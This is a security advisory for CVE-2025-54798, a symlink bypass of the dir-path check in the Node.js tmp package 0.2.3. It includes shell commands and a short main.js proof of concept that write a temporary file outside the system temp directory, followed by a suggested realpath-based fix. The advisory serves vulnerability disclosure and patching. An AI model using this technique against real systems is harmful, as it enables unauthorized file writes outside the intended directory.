CVE-2025-54798: tmp does not restrict arbitrary temporary file / directory write via symbolic link `dir` parameter

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir - name must be relative to tmpdir - dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly introduced tmpdir option.

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375 dir: the optional temporary directory that must be relative to the system's default temporary directory. absolute paths are fine as long as they point to a location under the system's default temporary directory. Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because resolvePath does not properly handle symbolic link when resolving paths: js // https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579 function resolvePath(name, tmpDir) { if (name.startsWith(tmpDir)) { return path.resolve(name); } else { return path.resolve(path.join(tmpDir, name)); } }

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the assertIsRelative check used in assertAndSanitizeOptions: js // https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609 function assertIsRelative(name, option, tmpDir) { if (option === 'name') { // assert that name is not absolute and does not contain a path if (path.isAbsolute(name)) throw new Error(${option} option must not contain an absolute path, found "${name}".); // must not fail on valid .<name> or ..<name> or similar such constructs let basename = path.basename(name); if (basename === '..' || basename === '.' || basename !== name) throw new Error(${option} option must not contain a path, found "${name}".); } else { // if (option === 'dir' || option === 'template') { // assert that dir or template are relative to tmpDir if (path.isAbsolute(name) && !name.startsWith(tmpDir)) { throw new Error(${option} option must be relative to "${tmpDir}", found "${name}".); } let resolvedPath = resolvePath(name, tmpDir); //<--- if (!resolvedPath.startsWith(tmpDir)) throw new Error(${option} option must be relative to "${tmpDir}", found "${resolvedPath}".); } }

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.

- Setup: create a symbolic link inside the tmpDir that points to a directory outside of it bash mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir

- check the folder is empty: bash ls -lha $HOME/mydir1 | grep "tmp-"

- run the poc bash node main.js File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]' test 2: dir option must be relative to "/tmp", found "/foo". test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".

- the temporary file is created under $HOME/mydir1 (outside the tmpDir): bash ls -lha $HOME/mydir1 | grep "tmp-" -rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]

- main.js js // npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'}); console.log('File: ', tmpobj.name);

try { tmp.fileSync({ 'dir': 'mydir1'}); } catch (err) { console.log('test 1:', err.message) }

try { tmp.fileSync({ 'dir': '/foo'}); } catch (err) { console.log('test 2:', err.message) }

try { const fs = require('node:fs'); const resolved = fs.realpathSync('/tmp/evil-dir'); tmp.fileSync({ 'dir': resolved}); } catch (err) { console.log('test 3:', err.message) }

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links. js function resolvePath(name, tmpDir) { let resolvedPath; if (name.startsWith(tmpDir)) { resolvedPath = path.resolve(name); } else { resolvedPath = path.resolve(path.join(tmpDir, name)); } return fs.realpathSync(resolvedPath); }

Impact

Arbitrary temporary file / directory write via symlink